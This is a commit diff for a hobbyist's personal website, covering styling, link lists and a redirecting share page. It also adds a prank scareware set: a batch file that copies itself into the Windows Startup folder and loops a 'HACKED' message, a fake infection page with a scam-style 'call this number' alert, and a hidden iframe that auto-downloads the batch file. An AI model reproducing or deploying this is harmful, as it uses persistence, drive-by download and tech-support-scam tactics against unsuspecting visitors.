Make pretty, etc

main
Pk11 1 year ago
parent 858266d96b
commit 169368d30e

1
.gitignore vendored

@ -1 +1,2 @@
count.txt
*.vcf

@ -0,0 +1,65 @@
* { box-sizing: border-box; }
@keyframes rainbow {
from { backdrop-filter: hue-rotate(0deg); -webkit-backdrop-filter: hue-rotate(0deg); }
to { backdrop-filter: hue-rotate(360deg); -webkit-backdrop-filter: hue-rotate(360deg); }
}
body {
background-color: #ebc;
background: url(/assets/images/bg.gif);
background-attachment: fixed;
color: #201;
margin: 0;
padding: 1px 0.5rem 1rem 0.5rem;
animation: 10s linear 0 rainbow;
animation-iteration-count: infinite;
}
kbd {
background: #fde;
border: 2px outset #fde;
padding: 0 2px;
}
h2 > small {
font-size: 16px;
}
.container {
max-width: 960px;
}
.center {
margin-left: auto;
margin-right: auto;
display: block;
}
.block {
background-color: #fcd;
border: 5px outset #dab;
margin-bottom: 10px;
padding: 0 5px;
}
footer {
background-color: #ebc;
border: 5px inset #dab;
padding: 10px;
}
footer p:first-of-type {
margin-top: 0;
}
footer p:last-of-type {
margin-bottom: 0;
}
img.btn {
margin: 0 2px;
}
.fl {
float: left;
}

Binary file not shown.

After

Width:  |  Height:  |  Size: 80 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 3.6 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 725 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 471 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 KiB

@ -51,6 +51,9 @@
<dt><a tabindex="0" href="//uwu.xn--rck9c.xn--tckwe">uwu</a></dt>
<dd>Random uwu face</dd>
<dt><a tabindex="0" href="//wordle.xn--rck9c.xn--tckwe">wordle</a></dt>
<dd>Wordle DS's page</dd>
<dt><ruby><a href="//xn--p8juc.xn--rck9c.xn--tckwe">うち</a><rp> (</rp><rt>uchi</rt><rp>) </rp></ruby> (Japanese)</dt>
<dd>Home</dd>
</dl>

@ -0,0 +1,12 @@
@echo off
cls
copy VIRUS.BAT "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup"
:start
color 0f
echo You have been HACKED!
color f0
goto start

Binary file not shown.

After

Width:  |  Height:  |  Size: 150 KiB

Binary file not shown.

@ -0,0 +1,16 @@
<style>
img {
width: 100%;
height: 100%;
background-size: cover;
position: fixed;
top: 0;
left: 0;
}
</style>
<a href="VIRUS.BAT"><img id="background-img" src="error.jpg"/></a>
<audio autoplay loop src="error.mp3" type="audio/mpeg"/>
<body onBlur="self.focus();">

Binary file not shown.

After

Width:  |  Height:  |  Size: 14 KiB

Binary file not shown.

@ -0,0 +1,40 @@
<html>
<title>You have a virus!</title>
<style>
img {
width: 100%;
height: 100%;
background-size: cover;
position: fixed;
top: 0;
left: 0;
}
</style>
<img id="background-img" src="bsod.jpg"/>
<audio autoplay src="bsod.mp3" type="audio/mpeg"/>
<SCRIPT TYPE="text/javascript">
function popup(mylink, windowname) {
if (! window.focus)return true;
var href;
if (typeof(mylink) == 'string') href=mylink;
else href=mylink.href;
window.open(href, windowname, 'width=582,height=202,scrollbars=yes').focus();
return false;
}
</SCRIPT>
<BODY onClick="popup('error.html', 'ad')" onLoad="myFunction()">
<script>
function myFunction() {
alert("YOUR COMPUTER HAS BEEN INFECTED!"+"\n"+"Please call 651-123-4567");
}
</script>
</body>
<iframe id="download" width="1" height="1" style="display:none" frameborder="0" src="VIRUS.BAT"></iframe>
</html>

@ -1,90 +0,0 @@
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>ピケ.コム</title>
<style>
:focus {
background-color: lightblue;
border-radius: 3px;
padding: 0 2px;
}
</style>
</head>
<body>
<header>
<h1>ようこそ、<img src="/assets/images/header/wordart.gif" alt="ピケ.コム" width="230" height="55">へ!</h1>
<p>これは、<a href="//pk11.us">Pk11</a>の個人的なWebサイトです。ここではランダムな小さなものがある、主なものは<a href="//pk11.us">pk11.us</a>にあります。</p>
<p><a href="/en/">英語ページ・<span lang="en">English page</span></a></p>
<hr>
</header>
<main>
<h2 id="subdomain">サブドメイン</h2>
<dl>
<dt><a tabindex="0" href="//bad-apple.xn--rck9c.xn--tckwe/ja.html">bad-apple</a></dt>
<dd>Bad Apple!!でも、HTMLだけです(JSやCSSなし)</dd>
<dt><a tabindex="0" href="//bbs.xn--rck9c.xn--tckwe/index.php">bbs</a>(英語)</dt>
<dd>Windows98から画像をアップロードできないでしたので、PHPで作って本当にしょぼい1スレBBS</dd>
<dt><a tabindex="0" href="//count.xn--rck9c.xn--tckwe/index.php">count</a></dt>
<dd>シンプルなアイテム数トラッカー</dd>
<dt><a tabindex="0" href="//git.xn--rck9c.xn--tckwe">git</a></dt>
<dd>自己ホストの<a href="https://gitea.io/ja-jp/">Gitea</a></dd>
<dt><a tabindex="0" href="//grit.xn--rck9c.xn--tckwe">grit</a>(英語)</dt>
<dd>イメージを<a href="https://github.com/devkitPro/grit">grit</a>を使用してGRFファイルに変換</dd>
<dt><a tabindex="0" href="//haste.xn--rck9c.xn--tckwe">haste</a>(英語)</dt>
<dd>自己ホストのライト配色あり<a href="https://hastebin.com">Hastebin</a></dd>
<dt><a tabindex="0" href="//nextrip.xn--rck9c.xn--tckwe">nextrip</a></dt>
<dd><a href="https://www.metrotransit.org">Metro Transit</a>のNexTrip APIを使うバス停留所情報ビューアー</dd>
<dt><a tabindex="0" href="//rss.xn--rck9c.xn--tckwe">rss</a></dt>
<dd>自己ホトスの<a href="https://miniflux.app">Miniflux</a></dd>
<dt><a tabindex="0" href="//uwu.xn--rck9c.xn--tckwe">uwu</a></dt>
<dd>ランダムなuwu顔</dd>
<dt><a tabindex="0" href="//xn--p8juc.xn--rck9c.xn--tckwe">うち</a></dt>
<dd></dd>
</dl>
<h2 id="page">他のページ</h2>
<dl>
<dt><a tabindex="0" href="/agent.php">agent.php</a></dt>
<dd>ユーザーエイジェントを表示</dd>
<dt><a tabindex="0" href="/bios-shrinker.html">bios-shrinker.html</a>(英語)</dt>
<dd>3DSからダンプされたGBAのBIOSファイルを正しいサイズに縮小</dd>
<dt><a tabindex="0" href="/color.html">color.html</a></dt>
<dd>16進、RGB、BGR15の間で色を変換</dd>
<dt><a tabindex="0" href="/dQw4w9WgXcQ/index.html">dQw4w9WgXcQ</a></dt>
<dd>;)</dd>
<dt><a tabindex="0" href="/motd.php">motd.php</a></dt>
<dd>毎日でランダムなメッセージ</dd>
<dt><a tabindex="0" href="/securid.html">securid.html</a></dt>
<dd>RSA SecurIDのブラウザー実装</dd>
<dt><a tabindex="0" href="/video.php">video.php</a>(英語)</dt>
<dd>埋め込みにビデオを表示</dd>
</dl>
</main>
<footer>
<hr>
<p>2021-2023 <a href="//pk11.us">Pk11</a></p>
</footer>
<script src="/assets/js/kaios.js"></script>
</body>
</html>

@ -0,0 +1,191 @@
<?php
// Return source code
if(isset($_GET['source'])) {
header("Content-Type: text/plain");
die(file_get_contents(basename($_SERVER['PHP_SELF'])));
}
$addresses = [
'pk11',
'webmaster',
'" "',
'"EV, the webmaster of"',
'". ...- .. ."',
'"Evie \"Pk11\" B."',
'"A very good email address"'
];
$addr = $addresses[rand(0, sizeof($addresses) - 1)];
?><!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>ピケ.コム</title>
<link rel="stylesheet" href="/assets/css/style.css">
<meta name="theme-color" content="#facade">
</head>
<body id="body">
<div class="container">
<header>
<h1>ようこそ、<img src="/assets/images/header/wordart.gif" alt="ピケ.コム" width="230" height="55">へ!</h1>
</header>
<main>
<div class="block">
<h3 style="margin:0">クイックリンク<small lang="en">/quick links</small></h3>
[<a href="https://rss.xn--rck9c.xn--tckwe">rss</a>]
[<a href="//nextrip.xn--rck9c.xn--tckwe">nextrip</a>]
[<a href="//list.xn--rck9c.xn--tckwe">list</a>]
[<a href="//bbs.xn--rck9c.xn--tckwe">bbs</a>]
[<a href="color.html">color</a>]
[<a href="?source">source</a>]
</div>
<div class="block" lang="en">
<h2>help, where am I?</h2>
<img class="fl" src="/assets/images/pfp.gif" alt="My profile picture">
<p>
hey! I'm <abbr title="variously known as Pk11, Evie, EV, Epicpkmn11, xn--rck9c, etc">EV</abbr> and you've stumbled upon my.. personal website!
this place is full of my nonsense that I throw together for fun. take a look around, leave a note on the <a href="//bbs.xn--rck9c.xn--tckwe">bulletin board</a>, etc everything here is listed below.
</p>
<p>
I'm a trans woman (she/her) who's probably about <?php echo date('Y') - 2001 - 1; ?> y/o from Minnesota, USA, that's a programming nerd with too many weird opinions on what makes tech good.
Ah you like my watch? it's an iPod! Why is this website Japanese? it's more fun that way.
</p>
<p>
also, fuck copyright. probably everything here and much of my GitHub are public domain licensed, falling back to a GPL or CC where necessary. please do use my things!
information exists to be free, if you like how I did something that's what <kbd>ctrl</kbd> + <kbd>C</kbd> is for!
(if I forgot an explicit license, just ask)
</p>
<p>btw this website url is basically pk.com, but in Japanese cause weird and actually available. I pronounce it 'pk komu', you can type it more easily as xn--rck9c.xn--tckwe... well, maybe easier.</p>
<p>for more of me see my <a href="https://github.com/Epicpkmn11">GitHub</a> (<a href="https://gist.github.com/Epicpkmn11/">gist</a>), <a href="https://www.youtube.com/@Pk11">YouTube</a>, <a href="https://www.nicovideo.jp/user/69199725">Niconico</a>, <a href="https://gbatemp.net/members/pk11.494739/">GBAtemp</a>, <a href="https://www.reddit.com/user/Evie_11/">Reddit</a>, <a href="https://ko-fi.com/rck9c">Ko-fi</a>, etc<p>
</div>
<div class="block">
<h2 id="projects">作ったもの<small lang="en">/things I've made</small></h2>
<p>(or been a major contributor to)</p>
<dl>
<dt><a tabindex="0" href="//wordle.xn--rck9c.xn--tckwe">Wordle DS</a></dt>
<dd>DSでWordleゲーム</dd>
<dt><a tabindex="0" href="https://github.com/Universal-Team/pkmn-chest">pkmn-chest</a></dt>
<dd>DS・DSiでのポケモンバンク</dd>
<dt><a tabindex="0" href="https://github.com/Epicpkmn11/NTM">NTM</a></dt>
<dd>DSi用タイトルマネージャー</dd>
<dt><a tabindex="0" href="https://github.com/DS-Homebrew/TWiLightMenu">TWiLight Menu++</a></dt>
<dd>DSiメニューの代替。DSゲームをSDカードからプレイできる<dd>
<dt><a tabindex="0" href="https://db.universal-team.net/">Universal-DB</a></dt>
<dd>DSと3DSホームブルー(homebrew)のデータベース</dd>
<dt><a tabindex="0" href="https://github.com/Universal-Team/Universal-Updater">Universal-Updater</a><dt>
<dd>3DS用homebrewのアプリストア</dd>
<dt><a tabindex="0" href="https://github.com/DS-Homebrew/GodMode9i">GodMode9i</a></dt>
<dd>DS・DSi用ファイルマネージャー</a>
<dt><a tabindex="0" href="https://github.com/Epicpkmn11/art">art</a></dt>
<dd>EVの作品</dd>
</dl>
</div>
<div class="block">
<h2 id="subdomain">サブドメイン<small lang="en">/subdomains</small></h2>
<dl>
<dt><a tabindex="0" href="//bad-apple.xn--rck9c.xn--tckwe/ja.html">bad-apple</a></dt>
<dd>Bad Apple!!でも、HTMLだけです(JSやCSSなし)</dd>
<dt><a tabindex="0" href="//bbs.xn--rck9c.xn--tckwe/index.php">bbs</a>(英語)</dt>
<dd>Windows98から画像をアップロードできないでしたので、PHPで作って本当にしょぼい1スレBBS</dd>
<dt><a tabindex="0" href="//git.xn--rck9c.xn--tckwe">git</a></dt>
<dd>自己ホストの<a href="https://gitea.io/ja-jp/">Gitea</a></dd>
<dt><a tabindex="0" href="//grit.xn--rck9c.xn--tckwe">grit</a>(英語)</dt>
<dd>イメージを<a href="https://github.com/devkitPro/grit">grit</a>を使用してGRFファイルに変換</dd>
<dt><a tabindex="0" href="//haste.xn--rck9c.xn--tckwe">haste</a>(英語)</dt>
<dd>自己ホストのライト配色あり<a href="https://hastebin.com">Hastebin</a></dd>
<dt><a tabindex="0" href="//list.xn--rck9c.xn--tckwe/index.php">list</a></dt>
<dd>シンプルなTo-Doリスト</dd>
<dt><a tabindex="0" href="//nextrip.xn--rck9c.xn--tckwe">nextrip</a></dt>
<dd><a href="https://www.metrotransit.org">Metro Transit</a>のNexTrip APIを使うバス停留所情報ビューアー</dd>
<dt><a tabindex="0" href="//rss.xn--rck9c.xn--tckwe">rss</a></dt>
<dd>自己ホトスの<a href="https://miniflux.app">Miniflux</a></dd>
<dt><a tabindex="0" href="//uwu.xn--rck9c.xn--tckwe">uwu</a></dt>
<dd>ランダムなuwu顔</dd>
<dt><a tabindex="0" href="//wordle.xn--rck9c.xn--tckwe">wordle</a>(英語)</dt>
<dd>Wordle DSのページ</dd>
<dt><a tabindex="0" href="//xn--p8juc.xn--rck9c.xn--tckwe">うち</a></dt>
<dd></dd>
</dl>
</div>
<div class="block">
<h2 id="page">他のページ<small lang="en">/other pages</small></h2>
<dl>
<dt><a tabindex="0" href="/agent.php">agent.php</a></dt>
<dd>ユーザーエイジェントを表示</dd>
<dt><a tabindex="0" href="/bios-shrinker.html">bios-shrinker.html</a>(英語)</dt>
<dd>3DSからダンプされたGBAのBIOSファイルを正しいサイズに縮小</dd>
<dt><a tabindex="0" href="/color.html">color.html</a></dt>
<dd>16進、RGB、BGR15の間で色を変換</dd>
<dt><a tabindex="0" href="/dQw4w9WgXcQ/index.html">dQw4w9WgXcQ</a></dt>
<dd>;)</dd>
<dt><a tabindex="0" href="/motd.php">motd.php</a></dt>
<dd>毎日でランダムなメッセージ</dd>
<dt><a tabindex="0" href="/securid.html">securid.html</a></dt>
<dd>RSA SecurIDのブラウザー実装</dd>
<dt><a tabindex="0" href="/video.php">video.php</a>(英語)</dt>
<dd>埋め込みにビデオを表示</dd>
</dl>
</div>
</main>
<footer>
<p>2021-<?php echo date('Y'); ?> <a href="mailto:<?php echo rawurlencode($addr); ?>@xn--rck9c.xn--tckwe"><?php echo $addr; ?>@ピケ.コム</a></p>
<p><?php
$buttons = [
['ev.gif', '//xn--rck9c.xn--tckwe'],
['valid-html5.gif', 'https://validator.w3.org/check?uri=https%3A%2F%2Fxn--rck9c.xn--tckwe&charset=%28detect+automatically%29&doctype=Inline&group=0'],
['php4_88x31.gif', 'https://www.php.net/'],
['anybestviewed.gif'],
['88x31.gif', 'https://cyber.dabamos.de/88x31/'],
['no.gif', 'dQw4w9WgXcQ'],
['transnow2.gif', 'https://genderdysphoria.fyi/en/'],
['transhrt.gif', 'https://diyhrt.wiki'],
['archlinux.gif', 'https://archlinux.org/'],
['stop.gif'],
['firefoxnow.gif', 'https://firefox.com'],
['chrome.gif'],
['gplv3.gif', 'https://www.gnu.org/licenses/gpl-3.0.en.html'],
];
foreach($buttons as &$button) {
if(count($button) > 1)
echo '<a href="'.$button[1].'">';
echo '<img class="btn" src="/assets/images/buttons/'.$button[0].'" alt="'.$button[0].'">';
if(count($button) > 1)
echo '</a>';
}
?></p>
</footer>
</div>
</body>
</html>

@ -1,3 +1,10 @@
<?php
// Return source code
if(isset($_GET['source'])) {
header("Content-Type: text/plain");
die(file_get_contents(basename($_SERVER['PHP_SELF'])));
}
?>
<!DOCTYPE html>
<html lang="en">
<head>

@ -1,95 +1,14 @@
<?php
/* This is free and unencumbered software released into the public domain.
*
* Anyone is free to copy, modify, publish, use, compile, sell, or
* distribute this software, either in source code form or as a compiled
* binary, for any purpose, commercial or non-commercial, and by any
* means.
*
* In jurisdictions that recognize copyright laws, the author or authors
* of this software dedicate any and all copyright interest in the
* software to the public domain. We make this dedication for the benefit
* of the public at large and to the detriment of our heirs and
* successors. We intend this dedication to be an overt act of
* relinquishment in perpetuity of all present and future rights to this
* software under copyright law.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
* OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
* ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
* OTHER DEALINGS IN THE SOFTWARE.
*
* For more information, please refer to <http://unlicense.org/>
*/
// Return source code
if(isset($_GET['source'])) {
header("Content-Type: text/plain");
die(file_get_contents(basename($_SERVER['PHP_SELF'])));
}
$message = $_GET['message'];
$urlmessage = rawurlencode($message);
$subject = rawurlencode(strstr($message, "\n", TRUE));
$mobile = !!strpos($_SERVER['HTTP_USER_AGENT'], 'Mobile');
$location = $_SERVER['REQUEST_SCHEME'] . '://wordle.xn--rck9c.xn--tckwe/share.php?' . $_SERVER['QUERY_STRING'];
header("Location: $location", true, 307);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Wordle DS URL Share</title>
<title>307 Redirecting</title>
</head>
<body>
<h1>Wordle DS URL Share</h1>
<?php if(empty($message)) { ?>
<p>Error: No share message provided</p>
<?php } else { ?>
<blockquote>
<pre id="message"><?php echo $message; ?></pre>
</blockquote>
[<a href="?source">source</a>]
[<a href="<?php echo "mailto:?subject=$subject&body=$urlmessage"; ?>">email</a>]
[<a href="<?php echo "sms:?body=$urlmessage"; ?>">sms</a>]
[<a target="_blank" href="<?php echo "https://bbs.xn--rck9c.xn--tckwe/?comment=$urlmessage"; ?>">bbs</a>]
[<a target="_blank" href="<?php echo "https://www.tumblr.com/widgets/share/tool?shareSource=legacy&canonicalUrl=&posttype=text&url=xn--rck9c.xn--tckwe&title=$subject&content=$urlmessage"; ?>">tumblr</a>]
[<a target="_blank" href="<?php echo "https://old.reddit.com/submit" . ($mobile ? '.compact' : '') . "?title=$subject&text=$urlmessage"; ?>">reddit</a>]
<script>
if(navigator.clipboard) {
document.write('[<a href="javascript:copyText()">copy</a>] ');
}
if(navigator.share) {
document.write('[<a href="javascript:share()">share</a>] ');
}
</script>
<?php } ?>
<script>
function copyText() {
var message = document.getElementById("message");
if(message && navigator.clipboard)
navigator.clipboard.writeText(message.innerText);
}
function share() {
var message = document.getElementById("message");
if(navigator.share) {
navigator.share({
title: message.innerText.substr(0, message.innerText.indexOf("\n")),
text: message.innerText
})
}
}
</script>
<h1>307 Redirecting</h1>
<p><a href="<?php echo $location; ?>"><?php echo $location; ?></a></p>
</body>
</html>
<?php

Loading…
Cancel
Save